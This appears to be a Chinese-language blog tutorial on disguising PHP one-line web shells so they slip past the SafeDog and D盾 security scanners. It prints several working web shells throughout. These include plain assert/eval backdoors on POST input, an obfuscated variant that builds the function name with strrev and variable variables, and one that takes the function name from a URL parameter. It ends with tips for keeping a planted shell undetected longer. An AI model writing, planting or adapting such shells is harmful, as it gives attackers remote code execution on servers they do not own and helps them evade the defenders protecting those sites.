前言
昨晚研究了一下PHP一句话过狗,就是那些思路,于是写了这篇打狗棍法。
如果有什么不妥不正确的地方,我就他妈不改。重复造个轮子大牛勿喷。
正文
下边这个就是我们常用的一句话,我们尽量用assert
不要用eval
,因为eval
有些年头了,关于他的正则比较健全了。
<?php @assert($_POST[BLOODY]); ?> <?php @eval($_POST[BLOODY]); ?> |
本文就以这两个一句话为原型,进行拓展来过安全狗。下面就是几种造轮子思路:
字符串拼接、字符串颠倒、变量覆盖、变量函数、变量引用、变量引用、函数定义、类自定义、函数回调、位运算符
安全狗智商因为这几种思路提升了不少,这么多方式基本都已经过不了狗了,但是几个思路搭配在一起,效果也是很猛的。
在这里我就不多解释这些基本的方法了,我直接贴出来我的过狗马然后在一点一点讲:
<?php $name=array(); $name[0]=strrev(‘ass’); $name[1]=’tr’.’e’; $funcName=strrev($name[1].$name[0]); $fucker=’funcName’; @$$fucker($_POST[BLOODY]); ?> |
现在来给大家讲讲上边这个过狗马的原理。其实这个原理很简单,无非就像上文所说的综合了几个思路。
首先定义一个数组$name(其实不用数组应该也可以达到同样的效果),然后给$name[0]
赋值为strrev('ass')
,而这个strrev()
函数的作用就是将字符串倒过来,所以最后结果为ssa。后边$name[1]
的值赋为'tr'.'e'
,这个不用解释大家懂。
然后就是下边$funcName
的值了,又是strrev()
函数,这里他会把$name[0]
和$name[1]
两个变量的位置先颠倒过来,然后再颠倒字符串内容,经过一系列的骚操作咱们的assert()
函数名已经拼接好了。然后就是PHP中的一个黑魔法的应用——$$fucker
。
大家可以看到$fucker
的值为funcName
,所以下边的$$fucker
就会等价于$funcName
。那么$funcName
又指向什么呢?从代码中可以看到,变量$funcName
的值为函数名assert
。于是最后的结果就是@assert($_POST[BLOODY]);
。当然,可以用同样的方法把assert
改为eval
,我没有测试过不过安全狗。这个马子的原理就是这样,没有什么特殊的技巧。原理还是挺简单的。
还有一种更为简单的过狗方式,定义一个函数名为bypass
的函数,而其内容就是assert()
函数,当然定义一个类出来也是可以过狗的。这种方式就简单清晰多了,不过说不定等哪天狗子开始学会查函数了,第一个死的就是这种马。说明咱狗子的智商还有待提高,不过D盾就够呛了。D盾好像第一个能过,不过D盾病毒库更新速度很快,很多刚能免杀的马子过几天就又不行了,所以也不保证你看到这篇文章的时候它还能过。当然还有一种小技巧也是比较简单的,通过URL获取函数名,然后再处理一下,就像下边这个示例一样:
<?php @$func=$_GET[func]; $run=’func’; @$$run($_POST[BLOODY]); ?> |
当然,连接Shell的时候url后边就需要传一个?func=assert
,再进行Post了。例如:http://nico.lolimoe.cn/doge.php?func=assert
结语
总之,过狗方式还有很多,本文只是众多方法的冰山一角。还有一些其他函数也应达到类似的效果,而不一定要用assert()
或者eval()
函数。换哪种奇葩淫计似的函数还是比较有用的,毕竟狗子用的正则不像对assert()
或者eval()
函数一样严格,甚至都没有针对它的防御措施。这就非常吃香了。还有一个让马子过狗时效变得较长的小技巧,不要总是用最强的过狗马,应该先试试老版本能过的,如果可以就不要用新的过狗马,这会大大降低其被发现的几率。
评论留言